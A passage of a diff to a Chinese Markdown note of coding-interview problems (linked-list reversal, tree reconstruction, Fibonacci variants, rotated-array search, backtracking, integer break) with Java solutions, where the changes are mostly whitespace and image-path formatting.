-    // 头插法构建逆序链表
-    ListNode head = new ListNode(-1);
-    while (listNode != null) {
-        ListNode memo = listNode.next;
-        listNode.next = head.next;
-        head.next = listNode;
-        listNode = memo;
-    }
-    // 构建 ArrayList
-    ArrayList<Integer> ret = new ArrayList<>();
-    head = head.next;
-    while (head != null) {
-        ret.add(head.val);
-        head = head.next;
-    }
-    return ret;
+public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
+    // 头插法构建逆序链表
+    ListNode head = new ListNode(-1);
+    while (listNode != null) {
+        ListNode memo = listNode.next;
+        listNode.next = head.next;
+        head.next = listNode;
+        listNode = memo;
+    }
+    // 构建 ArrayList
+    ArrayList<Integer> ret = new ArrayList<>();
+    head = head.next;
+    while (head != null) {
+        ret.add(head.val);
+        head = head.next;
+    }
+    return ret;
 }
 ```
 
-### 使用 Collections.reverse()
+### 使用 Collections.reverse()
 
 ```java
-public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
-    ArrayList<Integer> ret = new ArrayList<>();
-    while (listNode != null) {
-        ret.add(listNode.val);
-        listNode = listNode.next;
-    }
-    Collections.reverse(ret);
-    return ret;
+public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
+    ArrayList<Integer> ret = new ArrayList<>();
+    while (listNode != null) {
+        ret.add(listNode.val);
+        listNode = listNode.next;
+    }
+    Collections.reverse(ret);
+    return ret;
 }
 ```
 
-# 7. 重建二叉树
+# 7. 重建二叉树
 
 [NowCoder](https://www.nowcoder.com/practice/8a19cbe657394eeaac2f6ea9b0f6fcf6?tpId=13&tqId=11157&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 根据二叉树的前序遍历和中序遍历的结果，重建出该二叉树。假设输入的前序遍历和中序遍历的结果中都不含重复的数字。
 
 ```html
-preorder = [3,9,20,15,7]
-inorder =  [9,3,15,20,7]
+preorder = [3,9,20,15,7]
+inorder =  [9,3,15,20,7]
 ```
 
-<img src="index_files/8a4c6ad4-a816-47d1-b93f-7ca4f78ab67a.png" width="250"/>
+<div align="center"> <img src="pics/8a4c6ad4-a816-47d1-b93f-7ca4f78ab67a.png" width="250"/> </div><br>
 
-## 解题思路
+## 解题思路
 
 前序遍历的第一个值为根节点的值，使用这个值将中序遍历结果分成两部分，左部分为树的左子树中序遍历结果，右部分为树的右子树中序遍历的结果。
 
 ```java
-// 缓存中序遍历数组每个值对应的索引
-private Map<Integer, Integer> indexForInOrders = new HashMap<>();
+// 缓存中序遍历数组每个值对应的索引
+private Map<Integer, Integer> indexForInOrders = new HashMap<>();
 
-public TreeNode reConstructBinaryTree(int[] pre, int[] in) {
-    for (int i = 0; i < in.length; i++)
-        indexForInOrders.put(in[i], i);
-    return reConstructBinaryTree(pre, 0, pre.length - 1, 0);
+public TreeNode reConstructBinaryTree(int[] pre, int[] in) {
+    for (int i = 0; i < in.length; i++)
+        indexForInOrders.put(in[i], i);
+    return reConstructBinaryTree(pre, 0, pre.length - 1, 0);
 }
 
-private TreeNode reConstructBinaryTree(int[] pre, int preL, int preR, int inL) {
-    if (preL > preR)
-        return null;
-    TreeNode root = new TreeNode(pre[preL]);
-    int inIndex = indexForInOrders.get(root.val);
-    int leftTreeSize = inIndex - inL;
-    root.left = reConstructBinaryTree(pre, preL + 1, preL + leftTreeSize, inL);
-    root.right = reConstructBinaryTree(pre, preL + leftTreeSize + 1, preR, inL + leftTreeSize + 1);
-    return root;
+private TreeNode reConstructBinaryTree(int[] pre, int preL, int preR, int inL) {
+    if (preL > preR)
+        return null;
+    TreeNode root = new TreeNode(pre[preL]);
+    int inIndex = indexForInOrders.get(root.val);
+    int leftTreeSize = inIndex - inL;
+    root.left = reConstructBinaryTree(pre, preL + 1, preL + leftTreeSize, inL);
+    root.right = reConstructBinaryTree(pre, preL + leftTreeSize + 1, preR, inL + leftTreeSize + 1);
+    return root;
 }
 ```
 
-# 8. 二叉树的下一个结点
+# 8. 二叉树的下一个结点
 
 [NowCoder](https://www.nowcoder.com/practice/9023a0c988684a53960365b889ceaf5e?tpId=13&tqId=11210&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 给定一个二叉树和其中的一个结点，请找出中序遍历顺序的下一个结点并且返回。注意，树中的结点不仅包含左右子结点，同时包含指向父结点的指针。
 
 ```java
-public class TreeLinkNode {
+public class TreeLinkNode {
 
-    int val;
-    TreeLinkNode left = null;
-    TreeLinkNode right = null;
-    TreeLinkNode next = null;
+    int val;
+    TreeLinkNode left = null;
+    TreeLinkNode right = null;
+    TreeLinkNode next = null;
 
-    TreeLinkNode(int val) {
-        this.val = val;
-    }
+    TreeLinkNode(int val) {
+        this.val = val;
+    }
 }
 ```
 
-## 解题思路
+## 解题思路
 
-① 如果一个节点的右子树不为空，那么该节点的下一个节点是右子树的最左节点；
+① 如果一个节点的右子树不为空，那么该节点的下一个节点是右子树的最左节点；
 
-<img src="index_files/cb0ed469-27ab-471b-a830-648b279103c8.png" width="250"/>
+<div align="center"> <img src="pics/cb0ed469-27ab-471b-a830-648b279103c8.png" width="250"/> </div><br>
 
-② 否则，向上找第一个左链接指向的树包含该节点的祖先节点。
+② 否则，向上找第一个左链接指向的树包含该节点的祖先节点。
 
-<img src="index_files/e143f6da-d114-4ba4-8712-f65299047fa2.png" width="250"/>
+<div align="center"> <img src="pics/e143f6da-d114-4ba4-8712-f65299047fa2.png" width="250"/> </div><br>
 
 ```java
-public TreeLinkNode GetNext(TreeLinkNode pNode) {
-    if (pNode.right != null) {
-        TreeLinkNode node = pNode.right;
-        while (node.left != null)
-            node = node.left;
-        return node;
-    } else {
-        while (pNode.next != null) {
-            TreeLinkNode parent = pNode.next;
-            if (parent.left == pNode)
-                return parent;
-            pNode = pNode.next;
-        }
-    }
-    return null;
+public TreeLinkNode GetNext(TreeLinkNode pNode) {
+    if (pNode.right != null) {
+        TreeLinkNode node = pNode.right;
+        while (node.left != null)
+            node = node.left;
+        return node;
+    } else {
+        while (pNode.next != null) {
+            TreeLinkNode parent = pNode.next;
+            if (parent.left == pNode)
+                return parent;
+            pNode = pNode.next;
+        }
+    }
+    return null;
 }
 ```
 
-# 9. 用两个栈实现队列
+# 9. 用两个栈实现队列
 
 [NowCoder](https://www.nowcoder.com/practice/54275ddae22f475981afa2244dd448c6?tpId=13&tqId=11158&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-用两个栈来实现一个队列，完成队列的 Push 和 Pop 操作。
+用两个栈来实现一个队列，完成队列的 Push 和 Pop 操作。
 
-## 解题思路
+## 解题思路
 
-in 栈用来处理入栈（push）操作，out 栈用来处理出栈（pop）操作。一个元素进入 in 栈之后，出栈的顺序被反转。当元素要出栈时，需要先进入 out 栈，此时元素出栈顺序再一次被反转，因此出栈顺序就和最开始入栈顺序是相同的，先进入的元素先退出，这就是队列的顺序。
+in 栈用来处理入栈（push）操作，out 栈用来处理出栈（pop）操作。一个元素进入 in 栈之后，出栈的顺序被反转。当元素要出栈时，需要先进入 out 栈，此时元素出栈顺序再一次被反转，因此出栈顺序就和最开始入栈顺序是相同的，先进入的元素先退出，这就是队列的顺序。
 
-<img src="index_files/5acf7550-86c5-4c5b-b912-8ce70ef9c34e.png" width="400"/>
+<div align="center"> <img src="pics/5acf7550-86c5-4c5b-b912-8ce70ef9c34e.png" width="400"/> </div><br>
 
 ```java
-Stack<Integer> in = new Stack<Integer>();
-Stack<Integer> out = new Stack<Integer>();
+Stack<Integer> in = new Stack<Integer>();
+Stack<Integer> out = new Stack<Integer>();
 
-public void push(int node) {
-    in.push(node);
+public void push(int node) {
+    in.push(node);
 }
 
-public int pop() throws Exception {
-    if (out.isEmpty())
-        while (!in.isEmpty())
-            out.push(in.pop());
+public int pop() throws Exception {
+    if (out.isEmpty())
+        while (!in.isEmpty())
+            out.push(in.pop());
 
-    if (out.isEmpty())
-        throw new Exception("queue is empty");
+    if (out.isEmpty())
+        throw new Exception("queue is empty");
 
-    return out.pop();
+    return out.pop();
 }
 ```
 
-# 10.1 斐波那契数列
+# 10.1 斐波那契数列
 
 [NowCoder](https://www.nowcoder.com/practice/c6c7742f5ba7442aada113136ddea0c3?tpId=13&tqId=11160&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-求斐波那契数列的第 n 项，n <= 39。
+求斐波那契数列的第 n 项，n <= 39。
 
-$$ f(n)=\left\{ \begin{array}{rcl} 0  &&  { n=0 }\\ 1  &&  { n=1 } \\ f(n-1)+f(n-2) && {n>1} \end{array} \right. $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?f(n)=\left\{\begin{array}{rcl}0&&{n=0}\\1&&{n=1}\\f(n-1)+f(n-2)&&{n>1}\end{array}\right."/></div> <br>
 
-## 解题思路
+## 解题思路
 
-如果使用递归求解，会重复计算一些子问题。例如，计算 f(10) 需要计算 f(9) 和 f(8)，计算 f(9) 需要计算 f(8) 和 f(7)，可以看到 f(8) 被重复计算了。
+如果使用递归求解，会重复计算一些子问题。例如，计算 f(10) 需要计算 f(9) 和 f(8)，计算 f(9) 需要计算 f(8) 和 f(7)，可以看到 f(8) 被重复计算了。
 
-<img src="index_files/faecea49-9974-40db-9821-c8636137df61.jpg" width="300"/>
+<div align="center"> <img src="pics/faecea49-9974-40db-9821-c8636137df61.jpg" width="300"/> </div><br>
 
 递归是将一个问题划分成多个子问题求解，动态规划也是如此，但是动态规划会把子问题的解缓存起来，从而避免重复求解子问题。
 
 ```java
-public int Fibonacci(int n) {
-    if (n <= 1)
-        return n;
-    int[] fib = new int[n + 1];
-    fib[1] = 1;
-    for (int i = 2; i <= n; i++)
-        fib[i] = fib[i - 1] + fib[i - 2];
-    return fib[n];
+public int Fibonacci(int n) {
+    if (n <= 1)
+        return n;
+    int[] fib = new int[n + 1];
+    fib[1] = 1;
+    for (int i = 2; i <= n; i++)
+        fib[i] = fib[i - 1] + fib[i - 2];
+    return fib[n];
 }
 ```
 
-考虑到第 i 项只与第 i-1 和第 i-2 项有关，因此只需要存储前两项的值就能求解第 i 项，从而将空间复杂度由 O(N) 降低为 O(1)。
+考虑到第 i 项只与第 i-1 和第 i-2 项有关，因此只需要存储前两项的值就能求解第 i 项，从而将空间复杂度由 O(N) 降低为 O(1)。
 
 ```java
-public int Fibonacci(int n) {
-    if (n <= 1)
-        return n;
-    int pre2 = 0, pre1 = 1;
-    int fib = 0;
-    for (int i = 2; i <= n; i++) {
-        fib = pre2 + pre1;
-        pre2 = pre1;
-        pre1 = fib;
-    }
-    return fib;
+public int Fibonacci(int n) {
+    if (n <= 1)
+        return n;
+    int pre2 = 0, pre1 = 1;
+    int fib = 0;
+    for (int i = 2; i <= n; i++) {
+        fib = pre2 + pre1;
+        pre2 = pre1;
+        pre1 = fib;
+    }
+    return fib;
 }
 ```
 
-由于待求解的 n 小于 40，因此可以将前 40 项的结果先进行计算，之后就能以 O(1) 时间复杂度得到第 n 项的值了。
+由于待求解的 n 小于 40，因此可以将前 40 项的结果先进行计算，之后就能以 O(1) 时间复杂度得到第 n 项的值了。
 
 ```java
-public class Solution {
+public class Solution {
 
-    private int[] fib = new int[40];
+    private int[] fib = new int[40];
 
-    public Solution() {
-        fib[1] = 1;
-        fib[2] = 2;
-        for (int i = 2; i < fib.length; i++)
-            fib[i] = fib[i - 1] + fib[i - 2];
-    }
+    public Solution() {
+        fib[1] = 1;
+        fib[2] = 2;
+        for (int i = 2; i < fib.length; i++)
+            fib[i] = fib[i - 1] + fib[i - 2];
+    }
 
-    public int Fibonacci(int n) {
-        return fib[n];
-    }
+    public int Fibonacci(int n) {
+        return fib[n];
+    }
 }
 ```
 
-# 10.2 跳台阶
+# 10.2 跳台阶
 
 [NowCoder](https://www.nowcoder.com/practice/8c82a5b80378478f9484d87d1c5f12a4?tpId=13&tqId=11161&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-一只青蛙一次可以跳上 1 级台阶，也可以跳上 2 级。求该青蛙跳上一个 n 级的台阶总共有多少种跳法。
+一只青蛙一次可以跳上 1 级台阶，也可以跳上 2 级。求该青蛙跳上一个 n 级的台阶总共有多少种跳法。
 
-## 解题思路
+## 解题思路
 
 ```java
-public int JumpFloor(int n) {
-    if (n <= 2)
-        return n;
-    int pre2 = 1, pre1 = 2;
-    int result = 1;
-    for (int i = 2; i < n; i++) {
-        result = pre2 + pre1;
-        pre2 = pre1;
-        pre1 = result;
-    }
-    return result;
+public int JumpFloor(int n) {
+    if (n <= 2)
+        return n;
+    int pre2 = 1, pre1 = 2;
+    int result = 1;
+    for (int i = 2; i < n; i++) {
+        result = pre2 + pre1;
+        pre2 = pre1;
+        pre1 = result;
+    }
+    return result;
 }
 ```
 
-# 10.3 矩形覆盖
+# 10.3 矩形覆盖
 
 [NowCoder](https://www.nowcoder.com/practice/72a5a919508a4251859fb2cfb987a0e6?tpId=13&tqId=11163&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-我们可以用 2\*1 的小矩形横着或者竖着去覆盖更大的矩形。请问用 n 个 2\*1 的小矩形无重叠地覆盖一个 2\*n 的大矩形，总共有多少种方法？
+我们可以用 2\*1 的小矩形横着或者竖着去覆盖更大的矩形。请问用 n 个 2\*1 的小矩形无重叠地覆盖一个 2\*n 的大矩形，总共有多少种方法？
 
-## 解题思路
+## 解题思路
 
 ```java
-public int RectCover(int n) {
-    if (n <= 2)
-        return n;
-    int pre2 = 1, pre1 = 2;
-    int result = 0;
-    for (int i = 3; i <= n; i++) {
-        result = pre2 + pre1;
-        pre2 = pre1;
-        pre1 = result;
-    }
-    return result;
+public int RectCover(int n) {
+    if (n <= 2)
+        return n;
+    int pre2 = 1, pre1 = 2;
+    int result = 0;
+    for (int i = 3; i <= n; i++) {
+        result = pre2 + pre1;
+        pre2 = pre1;
+        pre1 = result;
+    }
+    return result;
 }
 ```
 
-# 10.4 变态跳台阶
+# 10.4 变态跳台阶
 
 [NowCoder](https://www.nowcoder.com/practice/22243d016f6b47f2a6928b4313c85387?tpId=13&tqId=11162&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-一只青蛙一次可以跳上 1 级台阶，也可以跳上 2 级... 它也可以跳上 n 级。求该青蛙跳上一个 n 级的台阶总共有多少种跳法。
+一只青蛙一次可以跳上 1 级台阶，也可以跳上 2 级... 它也可以跳上 n 级。求该青蛙跳上一个 n 级的台阶总共有多少种跳法。
 
-## 解题思路
+## 解题思路
 
-### 动态规划
+### 动态规划
 
 ```java
-public int JumpFloorII(int target) {
-    int[] dp = new int[target];
-    Arrays.fill(dp, 1);
-    for (int i = 1; i < target; i++)
-        for (int j = 0; j < i; j++)
-            dp[i] += dp[j];
-    return dp[target - 1];
+public int JumpFloorII(int target) {
+    int[] dp = new int[target];
+    Arrays.fill(dp, 1);
+    for (int i = 1; i < target; i++)
+        for (int j = 0; j < i; j++)
+            dp[i] += dp[j];
+    return dp[target - 1];
 }
 ```
 
-### 数学推导
+### 数学推导
 
-跳上 n-1 级台阶，可以从 n-2 级跳 1 级上去，也可以从 n-3 级跳 2 级上去...，那么
+跳上 n-1 级台阶，可以从 n-2 级跳 1 级上去，也可以从 n-3 级跳 2 级上去...，那么
 
 ```
-f(n-1) = f(n-2) + f(n-3) + ... + f(0)
+f(n-1) = f(n-2) + f(n-3) + ... + f(0)
 ```
 
-同样，跳上 n 级台阶，可以从 n-1 级跳 1 级上去，也可以从 n-2 级跳 2 级上去... ，那么
+同样，跳上 n 级台阶，可以从 n-1 级跳 1 级上去，也可以从 n-2 级跳 2 级上去... ，那么
 
 ```
-f(n) = f(n-1) + f(n-2) + ... + f(0)
+f(n) = f(n-1) + f(n-2) + ... + f(0)
 ```
 
 综上可得
 
 ```
-f(n) - f(n-1) = f(n-1)
+f(n) - f(n-1) = f(n-1)
 ```
 
 即
 
 ```
-f(n) = 2*f(n-1)
+f(n) = 2*f(n-1)
 ```
 
-所以 f(n) 是一个等比数列
+所以 f(n) 是一个等比数列
 
 ```source-java
-public int JumpFloorII(int target) {
-    return (int) Math.pow(2, target - 1);
+public int JumpFloorII(int target) {
+    return (int) Math.pow(2, target - 1);
 }
 ```
 
 
-# 11. 旋转数组的最小数字
+# 11. 旋转数组的最小数字
 
 [NowCoder](https://www.nowcoder.com/practice/9f3231a991af4f55b95579b44b7a01ba?tpId=13&tqId=11159&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 把一个数组最开始的若干个元素搬到数组的末尾，我们称之为数组的旋转。输入一个非递减排序的数组的一个旋转，输出旋转数组的最小元素。
 
-例如数组 {3, 4, 5, 1, 2} 为 {1, 2, 3, 4, 5} 的一个旋转，该数组的最小值为 1。
+例如数组 {3, 4, 5, 1, 2} 为 {1, 2, 3, 4, 5} 的一个旋转，该数组的最小值为 1。
 
-## 解题思路
+## 解题思路
 
-在一个有序数组中查找一个元素可以用二分查找，二分查找也称为折半查找，每次都能将查找区间减半，这种折半特性的算法时间复杂度都为 O(logN)。
+在一个有序数组中查找一个元素可以用二分查找，二分查找也称为折半查找，每次都能将查找区间减半，这种折半特性的算法时间复杂度都为 O(logN)。
 
 本题可以修改二分查找算法进行求解：
 
-- 当 nums[m] <= nums[h] 的情况下，说明解在 [l, m] 之间，此时令 h = m；
-- 否则解在 [m + 1, h] 之间，令 l = m + 1。
+- 当 nums[m] <= nums[h] 的情况下，说明解在 [l, m] 之间，此时令 h = m；
+- 否则解在 [m + 1, h] 之间，令 l = m + 1。
 
 ```java
-public int minNumberInRotateArray(int[] nums) {
-    if (nums.length == 0)
-        return 0;
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int m = l + (h - l) / 2;
-        if (nums[m] <= nums[h])
-            h = m;
-        else
-            l = m + 1;
-    }
-    return nums[l];
+public int minNumberInRotateArray(int[] nums) {
+    if (nums.length == 0)
+        return 0;
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int m = l + (h - l) / 2;
+        if (nums[m] <= nums[h])
+            h = m;
+        else
+            l = m + 1;
+    }
+    return nums[l];
 }
 ```
 
-如果数组元素允许重复的话，那么就会出现一个特殊的情况：nums[l] == nums[m] == nums[h]，那么此时无法确定解在哪个区间，需要切换到顺序查找。例如对于数组 {1,1,1,0,1}，l、m 和 h 指向的数都为 1，此时无法知道最小数字 0 在哪个区间。
+如果数组元素允许重复的话，那么就会出现一个特殊的情况：nums[l] == nums[m] == nums[h]，那么此时无法确定解在哪个区间，需要切换到顺序查找。例如对于数组 {1,1,1,0,1}，l、m 和 h 指向的数都为 1，此时无法知道最小数字 0 在哪个区间。
 
 ```java
-public int minNumberInRotateArray(int[] nums) {
-    if (nums.length == 0)
-        return 0;
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int m = l + (h - l) / 2;
-        if (nums[l] == nums[m] && nums[m] == nums[h])
-            return minNumber(nums, l, h);
-        else if (nums[m] <= nums[h])
-            h = m;
-        else
-            l = m + 1;
-    }
-    return nums[l];
+public int minNumberInRotateArray(int[] nums) {
+    if (nums.length == 0)
+        return 0;
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int m = l + (h - l) / 2;
+        if (nums[l] == nums[m] && nums[m] == nums[h])
+            return minNumber(nums, l, h);
+        else if (nums[m] <= nums[h])
+            h = m;
+        else
+            l = m + 1;
+    }
+    return nums[l];
 }
 
-private int minNumber(int[] nums, int l, int h) {
-    for (int i = l; i < h; i++)
-        if (nums[i] > nums[i + 1])
-            return nums[i + 1];
-    return nums[l];
+private int minNumber(int[] nums, int l, int h) {
+    for (int i = l; i < h; i++)
+        if (nums[i] > nums[i + 1])
+            return nums[i + 1];
+    return nums[l];
 }
 ```
 
-# 12. 矩阵中的路径
+# 12. 矩阵中的路径
 
 [NowCoder](https://www.nowcoder.com/practice/c61c6999eecb4b8f88a98f66b273a3cc?tpId=13&tqId=11218&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 请设计一个函数，用来判断在一个矩阵中是否存在一条包含某字符串所有字符的路径。路径可以从矩阵中的任意一个格子开始，每一步可以在矩阵中向左，向右，向上，向下移动一个格子。如果一条路径经过了矩阵中的某一个格子，则该路径不能再进入该格子。
 
-例如下面的矩阵包含了一条 bfce 路径。
+例如下面的矩阵包含了一条 bfce 路径。
 
-<img src="index_files/e31abb94-9201-4e06-9902-61101b92f475.png" width="300"/>
+<div align="center"> <img src="pics/e31abb94-9201-4e06-9902-61101b92f475.png" width="300"/> </div><br>
 
-## 解题思路
+## 解题思路
 
 ```java
-private final static int[][] next = {{0, -1}, {0, 1}, {-1, 0}, {1, 0}};
-private int rows;
-private int cols;
+private final static int[][] next = {{0, -1}, {0, 1}, {-1, 0}, {1, 0}};
+private int rows;
+private int cols;
 
-public boolean hasPath(char[] array, int rows, int cols, char[] str) {
-    if (rows == 0 || cols == 0)
-        return false;
-    this.rows = rows;
-    this.cols = cols;
-    boolean[][] marked = new boolean[rows][cols];
-    char[][] matrix = buildMatrix(array);
-    for (int i = 0; i < rows; i++)
-        for (int j = 0; j < cols; j++)
-            if (backtracking(matrix, str, marked, 0, i, j))
-                return true;
-    return false;
+public boolean hasPath(char[] array, int rows, int cols, char[] str) {
+    if (rows == 0 || cols == 0)
+        return false;
+    this.rows = rows;
+    this.cols = cols;
+    boolean[][] marked = new boolean[rows][cols];
+    char[][] matrix = buildMatrix(array);
+    for (int i = 0; i < rows; i++)
+        for (int j = 0; j < cols; j++)
+            if (backtracking(matrix, str, marked, 0, i, j))
+                return true;
+    return false;
 }
 
-private boolean backtracking(char[][] matrix, char[] str, boolean[][] marked, int pathLen, int r, int c) {
-    if (pathLen == str.length)
-        return true;
-    if (r < 0 || r >= rows || c < 0 || c >= cols || matrix[r][c] != str[pathLen] || marked[r][c])
-        return false;
-    marked[r][c] = true;
-    for (int[] n : next)
-        if (backtracking(matrix, str, marked, pathLen + 1, r + n[0], c + n[1]))
-            return true;
-    marked[r][c] = false;
-    return false;
+private boolean backtracking(char[][] matrix, char[] str, boolean[][] marked, int pathLen, int r, int c) {
+    if (pathLen == str.length)
+        return true;
+    if (r < 0 || r >= rows || c < 0 || c >= cols || matrix[r][c] != str[pathLen] || marked[r][c])
+        return false;
+    marked[r][c] = true;
+    for (int[] n : next)
+        if (backtracking(matrix, str, marked, pathLen + 1, r + n[0], c + n[1]))
+            return true;
+    marked[r][c] = false;
+    return false;
 }
 
-private char[][] buildMatrix(char[] array) {
-    char[][] matrix = new char[rows][cols];
-    for (int i = 0, idx = 0; i < rows; i++)
-        for (int j = 0; j < cols; j++)
-            matrix[i][j] = array[idx++];
-    return matrix;
+private char[][] buildMatrix(char[] array) {
+    char[][] matrix = new char[rows][cols];
+    for (int i = 0, idx = 0; i < rows; i++)
+        for (int j = 0; j < cols; j++)
+            matrix[i][j] = array[idx++];
+    return matrix;
 }
 ```
 
-# 13. 机器人的运动范围
+# 13. 机器人的运动范围
 
 [NowCoder](https://www.nowcoder.com/practice/6e5207314b5241fb83f2329e89fdecc8?tpId=13&tqId=11219&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-地上有一个 m 行和 n 列的方格。一个机器人从坐标 (0, 0) 的格子开始移动，每一次只能向左右上下四个方向移动一格，但是不能进入行坐标和列坐标的数位之和大于 k 的格子。
+地上有一个 m 行和 n 列的方格。一个机器人从坐标 (0, 0) 的格子开始移动，每一次只能向左右上下四个方向移动一格，但是不能进入行坐标和列坐标的数位之和大于 k 的格子。
 
-例如，当 k 为 18 时，机器人能够进入方格 (35,37)，因为 3+5+3+7=18。但是，它不能进入方格 (35,38)，因为 3+5+3+8=19。请问该机器人能够达到多少个格子？
+例如，当 k 为 18 时，机器人能够进入方格 (35,37)，因为 3+5+3+7=18。但是，它不能进入方格 (35,38)，因为 3+5+3+8=19。请问该机器人能够达到多少个格子？
 
-## 解题思路
+## 解题思路
 
 ```java
-private static final int[][] next = {{0, -1}, {0, 1}, {-1, 0}, {1, 0}};
-private int cnt = 0;
-private int rows;
-private int cols;
-private int threshold;
-private int[][] digitSum;
+private static final int[][] next = {{0, -1}, {0, 1}, {-1, 0}, {1, 0}};
+private int cnt = 0;
+private int rows;
+private int cols;
+private int threshold;
+private int[][] digitSum;
 
-public int movingCount(int threshold, int rows, int cols) {
-    this.rows = rows;
-    this.cols = cols;
-    this.threshold = threshold;
-    initDigitSum();
-    boolean[][] marked = new boolean[rows][cols];
-    dfs(marked, 0, 0);
-    return cnt;
+public int movingCount(int threshold, int rows, int cols) {
+    this.rows = rows;
+    this.cols = cols;
+    this.threshold = threshold;
+    initDigitSum();
+    boolean[][] marked = new boolean[rows][cols];
+    dfs(marked, 0, 0);
+    return cnt;
 }
 
-private void dfs(boolean[][] marked, int r, int c) {
-    if (r < 0 || r >= rows || c < 0 || c >= cols || marked[r][c])
-        return;
-    marked[r][c] = true;
-    if (this.digitSum[r][c] > this.threshold)
-        return;
-    cnt++;
-    for (int[] n : next)
-        dfs(marked, r + n[0], c + n[1]);
+private void dfs(boolean[][] marked, int r, int c) {
+    if (r < 0 || r >= rows || c < 0 || c >= cols || marked[r][c])
+        return;
+    marked[r][c] = true;
+    if (this.digitSum[r][c] > this.threshold)
+        return;
+    cnt++;
+    for (int[] n : next)
+        dfs(marked, r + n[0], c + n[1]);
 }
 
-private void initDigitSum() {
-    int[] digitSumOne = new int[Math.max(rows, cols)];
-    for (int i = 0; i < digitSumOne.length; i++) {
-        int n = i;
-        while (n > 0) {
-            digitSumOne[i] += n % 10;
-            n /= 10;
-        }
-    }
-    this.digitSum = new int[rows][cols];
-    for (int i = 0; i < this.rows; i++)
-        for (int j = 0; j < this.cols; j++)
-            this.digitSum[i][j] = digitSumOne[i] + digitSumOne[j];
+private void initDigitSum() {
+    int[] digitSumOne = new int[Math.max(rows, cols)];
+    for (int i = 0; i < digitSumOne.length; i++) {
+        int n = i;
+        while (n > 0) {
+            digitSumOne[i] += n % 10;
+            n /= 10;
+        }
+    }
+    this.digitSum = new int[rows][cols];
+    for (int i = 0; i < this.rows; i++)
+        for (int j = 0; j < this.cols; j++)
+            this.digitSum[i][j] = digitSumOne[i] + digitSumOne[j];
 }
 ```
 
-# 14. 剪绳子
+# 14. 剪绳子
 
 [Leetcode](https://leetcode.com/problems/integer-break/description/)
 
-## 题目描述
+## 题目描述
 
 把一根绳子剪成多段，并且使得每段的长度乘积最大。
 
 ```html
-n = 2
-return 1 (2 = 1 + 1)
+n = 2
+return 1 (2 = 1 + 1)
 
-n = 10
-return 36 (10 = 3 + 3 + 4)
+n = 10
+return 36 (10 = 3 + 3 + 4)
 ```
 
-## 解题思路
+## 解题思路
 
-### 贪心
+### 贪心
 
-尽可能多剪长度为 3 的绳子，并且不允许有长度为 1 的绳子出现。如果出现了，就从已经切好长度为 3 的绳子中拿出一段与长度为 1 的绳子重新组合，把它们切成两段长度为 2 的绳子。
+尽可能多剪长度为 3 的绳子，并且不允许有长度为 1 的绳子出现。如果出现了，就从已经切好长度为 3 的绳子中拿出一段与长度为 1 的绳子重新组合，把它们切成两段长度为 2 的绳子。
 
-证明：当 n >= 5 时，3(n - 3) - n = 2n - 9 > 0，且 2(n - 2) - n = n - 4 > 0。因此在 n >= 5 的情况下，将绳子剪成一段为 2 或者 3，得到的乘积会更大。又因为 3(n - 3) - 2(n - 2) = n - 5 >= 0，所以剪成一段长度为 3 比长度为 2 得到的乘积更大。
+证明：当 n >= 5 时，3(n - 3) - n = 2n - 9 > 0，且 2(n - 2) - n = n - 4 > 0。因此在 n >= 5 的情况下，将绳子剪成一段为 2 或者 3，得到的乘积会更大。又因为 3(n - 3) - 2(n - 2) = n - 5 >= 0，所以剪成一段长度为 3 比长度为 2 得到的乘积更大。
 
 ```java
-public int integerBreak(int n) {
-    if (n < 2)
-        return 0;
-    if (n == 2)
-        return 1;
-    if (n == 3)
-        return 2;
-    int timesOf3 = n / 3;
-    if (n - timesOf3 * 3 == 1)
-        timesOf3--;
-    int timesOf2 = (n - timesOf3 * 3) / 2;
-    return (int) (Math.pow(3, timesOf3)) * (int) (Math.pow(2, timesOf2));
+public int integerBreak(int n) {
+    if (n < 2)
+        return 0;
+    if (n == 2)
+        return 1;
+    if (n == 3)
+        return 2;
+    int timesOf3 = n / 3;
+    if (n - timesOf3 * 3 == 1)
+        timesOf3--;
+    int timesOf2 = (n - timesOf3 * 3) / 2;
+    return (int) (Math.pow(3, timesOf3)) * (int) (Math.pow(2, timesOf2));
 }
 ```
 
-### 动态规划
+### 动态规划
 
 ```java
-public int integerBreak(int n) {
-    int[] dp = new int[n + 1];
-    dp[1] = 1;
-    for (int i = 2; i <= n; i++)
-        for (int j = 1; j < i; j++)
-            dp[i] = Math.max(dp[i], Math.max(j * (i - j), dp[j] * (i - j)));
-    return dp[n];
+public int integerBreak(int n) {
+    int[] dp = new int[n + 1];
+    dp[1] = 1;
+    for (int i = 2; i <= n; i++)
+        for (int j = 1; j < i; j++)
+            dp[i] = Math.max(dp[i], Math.max(j * (i - j), dp[j] * (i - j)));
+    return dp[n];
 }
 ```
 
-# 15. 二进制中 1 的个数
+# 15. 二进制中 1 的个数
 
